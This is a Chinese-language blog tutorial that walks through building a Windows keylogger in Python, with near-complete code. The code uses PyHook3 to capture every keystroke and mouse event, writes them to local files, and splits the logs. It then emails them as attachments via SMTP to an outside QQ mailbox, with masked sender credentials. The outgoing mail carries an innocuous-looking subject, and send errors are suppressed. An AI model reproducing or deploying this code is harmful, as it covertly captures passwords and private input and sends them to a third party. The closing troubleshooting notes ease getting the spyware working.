python 发送 按键事件_Python监听键盘和鼠标事件，并发送内容至邮箱！

一. 环境以及工具

环境：win10，Python3.6

工具：JetBrains PyCharm 2018.1.4

二. 使用的第三方库：

import os

import smtplib #发送邮件

import time

import threading

import email复制代码

下面这三个库主要用来监听：

import PyHook3

import pythoncom

from past.builtins import xrange复制代码

若环境没有自带以上第三方库，可以参照如下图示方法导入，或者自行谷歌

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三. 实现监听键盘、鼠标动作

使用PyHook3、pythoncom库监听键盘、鼠标事件

# 创建监听对象

manager = PyHook3.HookManager()

# 监听所有键盘事件

manager.KeyDown = on_keyboard_event

# 设置键盘监听

manager.HookKeyboard()

# 循环监听, 若不手动关闭, 程序将一直处于监听状态

pythoncom.PumpMessages()复制代码

on_keyboard_event是用来打印监听信息的函数

def on_keyboard_event(event):

"""

监听键盘事件

:param event:

:return: 同鼠标监听事件的返回值

"""

print('================== start listening keyboard ====================')

print('MessageName: ', event.MessageName)

print('Message: ', event.Message)

print('Time: ', event.Time)

print('Window: ', event.Window)

print('Ascii: ', event.Ascii, chr(event.Ascii))

print('Key: ', event.Key)

print('KeyID: ', event.KeyID)

print('ScanCode: ', event.ScanCode)

print('Extended: ', event.Extended)

print('Injected: ', event.Injected)

print('Alt: ', event.Alt)

print('Transition: ', event.Transition)

print('================== start listening keyboard ====================')

return True复制代码

返回“True”，用于持续监听，监听鼠标的实现与监听键盘类似。

四. 将监听信息写入文件

将打印在控制台的监听键盘信息写入到当前目录的txt文件中

def on_keyboard_event(event):

"""

将监听的键盘信息写入文件

:param event:

:return:

"""

with open('./keyboard.txt', 'a+') as f:

f.write(

'事件: ' + event.MessageName + ', 时间: ' + format_time() + ', 窗口信息: '

+ str(event.Window) + ', 键值: ' + event.Key + ', 键ID: ' + str(event.KeyID) + '\r\n')

return True复制代码

五. 分割监听信息文件

按照文件内容分割，而不是按照文件大小。因为按照文件大小分割时，部分相连的内容将会被分割到两个文件中。

def split_file(self):

"""

按照内容行数分割

:return:

"""

with open(self.fileName + '.txt', 'r') as f:

global index

while 1:

index += 1

try:

with open(self.fileName + '_%d.txt' % index, 'w') as temp:

for _ in xrange(self.Size):

temp.write(f.__next__())

except StopIteration:

break

def timer_split_file(self):

"""

超过指定行数则分割

:return:

"""

with open(self.fileName + '.txt', 'r') as f:

lines = f.readlines()

if lines.__len__() > self.Size:

self.split_file()复制代码

六. 将监听信息发送到指定邮箱

利用邮箱相互发送邮件的方式发送监听信息，所以必须开启发送者邮箱的POP3/SMTP服务。监听信息文件以附件的形式发送。若开启了POP3/SMTP服务，而接受者没有看到邮件，可能邮件在接受者邮箱的垃圾箱中。

@staticmethod

def send_email():

host = 'smtp.163.com' # 设置邮件服务器

user = 'svip*****@163.com' # 发送者

password = 'smt*****1' # 客户端授权密码

sender = 'svip******@163.com' # 匿名发送

receiver = ['1341****1@qq.com'] # 接收邮件

# 构造邮件对象

msg = MIMEMultipart('alternative')

msg['From'] = sender

msg['To'] = ";".join(receiver)

msg['Subject'] = Header('Have a nice day,How are you?', 'utf-8')

msg['Message-id'] = make_msgid()

msg['Date'] = formatdate()

message = MIMEText('this is today content', 'plain', 'utf-8')

msg.attach(message)

# 构造附件对象,发送鼠标监听信息

if index != 0:

for num in range(1, index + 1):

mouse_file_name = './mouse_' + str(num) + '.txt'

mouse_file = open(mouse_file_name, 'rb').read()

mouse_send = MIMEText(mouse_file, 'base64', 'utf-8')

mouse_send['Content-Type'] = 'application/octet-stream'

mouse_send['Content-Disposition'] = 'attachment;filename=' + mouse_file_name

msg.attach(mouse_send)

# 发送键盘监听信息

key_file = open('./keyboard.txt', 'rb').read()

key_send = MIMEText(key_file, 'base64', 'utf-8')

key_send['Content-Type'] = 'application/octet-stream'

key_send['Content-Disposition'] = 'attachment;filename=keyboard.txt'

msg.attach(key_send)

# 发送邮件

try:

mail = smtplib.SMTP_SSL(host, 465)

mail.login(user, password)

mail.sendmail(sender, receiver, msg.as_string())

mail.quit()

except smtplib.SMTPException:

# 异常信息不捕获

pass复制代码

七. bug and solve

Warning 01:

This inspection detects any methods which may safely be made static.

Solution 01:

在方法上面加: @staticmethod

Error 02:

TypeError: main() missing 1 required positional argument: 'self'

Solution 02:

先实例化类, 再使用类

e.g.

listening = Listening()

listening.main()

Error 03:

TypeError: 'float' object is not callable

Solution 03:

变量名与方法名冲突,或者与关键字冲突

Error 04:

email.errors.MultipartConversionError:Cannot attach additional subparts to non-multipart/*

Solution 04:

没有创建带附件的实例

e.g.

msg = MIMEMultipart('mixed')

Error 05:

使用http://smtp.qq.com发送邮件时:Connection unexpectedly closed

Solution 05:

发送者邮箱没有开启POP3/SMTP服务

e.g.

​

Error 06:

smtplib.SMTPHeloError: (500, b'Error: bad syntax')